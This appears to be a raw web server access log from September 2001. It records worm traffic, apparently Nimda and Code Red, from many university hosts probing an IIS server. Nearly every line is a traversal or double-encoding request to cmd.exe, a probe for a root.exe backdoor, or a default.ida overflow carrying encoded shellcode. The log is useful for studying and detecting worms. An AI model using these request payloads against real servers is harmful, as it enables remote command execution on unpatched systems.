15:43:27: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:27: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:43:28: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 15:47:30: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:51:01: public93.tc.columbia.edu [128.59.103.93] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 15:51:01: public93.tc.columbia.edu [128.59.103.93] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:04: public93.tc.columbia.edu [128.59.103.93] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:06: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:09: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:12: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 15:56:39: public93.tc.columbia.edu [128.59.103.93] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 15:56:42: public93.tc.columbia.edu [128.59.103.93] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:43: public93.tc.columbia.edu [128.59.103.93] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:43: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:43: public93.tc.columbia.edu [128.59.103.93] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:50: public93.tc.columbia.edu [128.59.103.93] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:50: public93.tc.columbia.edu [128.59.103.93] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:50: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 15:56:58: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 16:06:52: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:40:38: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:22: public93.tc.columbia.edu [128.59.103.93] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:22: public93.tc.columbia.edu [128.59.103.93] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:25: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:25: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:29: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:35: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:35: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:37: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:37: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:37: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:37: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:38: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:38: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:39: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:39: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:39: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:46:39: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:50:34: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 16:59:13: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 16:59:15: acquaro2.tc.columbia.edu [128.59.92.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:18: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 16:59:18: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:00:04: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:00:08: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:09: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:09: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:11: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:11: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:13: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:13: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:14: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:15: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:16: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:17: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:18: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:18: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:19: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:00:20: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:02:49: dltest.uky.edu [128.163.126.85] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:02:49: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:03:07: dltest.uky.edu [128.163.126.85] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:03:08: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:03:26: dltest.uky.edu [128.163.126.85] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:03:26: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:03:44: dltest.uky.edu [128.163.126.85] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:03:44: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:04:02: dltest.uky.edu [128.163.126.85] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:04:02: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:04:21: dltest.uky.edu [128.163.126.85] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:04:21: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:04:39: dltest.uky.edu [128.163.126.85] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:04:39: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:04:57: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:05:15: dltest.uky.edu [128.163.126.85] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:05:15: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:05:34: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:05:52: dltest.uky.edu [128.163.126.85] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:05:52: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:06:10: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:06:28: dltest.uky.edu [128.163.126.85] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:06:28: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:06:46: dltest.uky.edu [128.163.126.85] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:06:46: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:07:05: dltest.uky.edu [128.163.126.85] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:07:05: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:07:23: dltest.uky.edu [128.163.126.85] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:07:23: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:07:41: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:07:59: dltest.uky.edu [128.163.126.85] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:07:59: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:08:17: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:08:36: dltest.uky.edu [128.163.126.85] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:08:36: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:08:54: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:09:12: dltest.uky.edu [128.163.126.85] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:09:12: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:09:30: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:09:48: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:09:48: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:10:07: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:10:25: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:10:43: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:10:43: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:01: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:20: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:20: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET 